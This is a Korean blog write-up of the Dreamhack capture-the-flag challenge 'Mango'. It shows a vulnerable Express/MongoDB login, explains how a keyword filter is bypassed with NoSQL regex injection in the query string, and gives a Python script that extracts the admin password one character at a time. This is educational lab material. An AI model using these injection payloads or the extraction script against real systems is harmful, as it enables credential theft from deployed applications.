yon11b

[DH] Mango 본문

보안/WRITE_UP

[DH] Mango

yon11b 2022. 7. 28. 16:28
반응형

Mango

문제

아래는 전체 코드

더보기
const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

필터링

  • admin
  • dh
  • admi
  • 위 문자들의 대문자 ver.

확인.

uid=admin을 하면 필터링 된다.

필터링 코드

const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

코드 해석을 위한 정보 !!

JSON.stringify() 메서드는 JavaScript 값이나 객체를 JSON 문자열로 변환합니다.

indexOf() 메서드는 배열에서 지정된 요소를 찾을 수 있는 첫 번째 인덱스를 반환하고 존재하지 않으면 -1을 반환합니다.

로그인 페이지에서 검증하는 코드

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

필터링이 되면 return; 후 종료하고

필터링을 통과하고 에러를 발생시키지 않으면 uid를 send한다.

방법

get 방식으로 regex을 쓸 때는 uid: $regex{}이렇게 쓰는게 아니라 uid[$regex]이렇게 쓴다.

참고로 post 방식은 이렇게 쓴다 [링크]

우회

  1. uid=admin 우회정규표현식 문법의 .을 사용하면 된다. . 은 임의 문자를 의미한다.
  2. ?uid[$regex]=ad.in
  3. upw=DH{ } 우회원래는 upw[$regex]=DH{ 인데 dh가 필터링 되므로 여기서도 . 을 써준다.
  4. upw[$regex]=D.{*

최종. ?uid[$regex]=ad.in&upw[$regex]=D.{*

위 코드를 url에 입력해주면 admin이 화면에 뜰 것이다.

이렇게 우회한다는 것을 알았으니 이제 익스를 해보자.

익스플로잇

import requests
import requests, string

HOST = '<http://host3.dreamhack.games:10731>'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'
flag = ''
for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    print(f'FLAG: DH{{{flag}}}')

코드 해석을 위한 정보!!

  • 문자열 포맷 스트링(f)에서 { 을 쓰려면 {{ 으로 써야 한다.
    • ?ad.in&upw[$regex]=D.**{{**{flag}{ch}')
  • ?uid[$regex]=ad.in&upw[$regex]=D.{8 까지만 맞아도 admin을 리턴한다. upw의 처음부터 끝까지 다 맞아야 하는 게 아니라 두번째까지만 입력해도 맞기만 하면 admin을 리턴한다.

728x90

'보안 > WRITE_UP' 카테고리의 다른 글

[DH] simple-ssti  (0) 2022.07.28
[DH] csrf-2  (0) 2022.05.19
[webhacking.kr] old-25  (0) 2022.05.19
[webhacking.kr] g00gle2  (0) 2022.05.19
[webhacking.kr] g00gle1  (1) 2022.05.19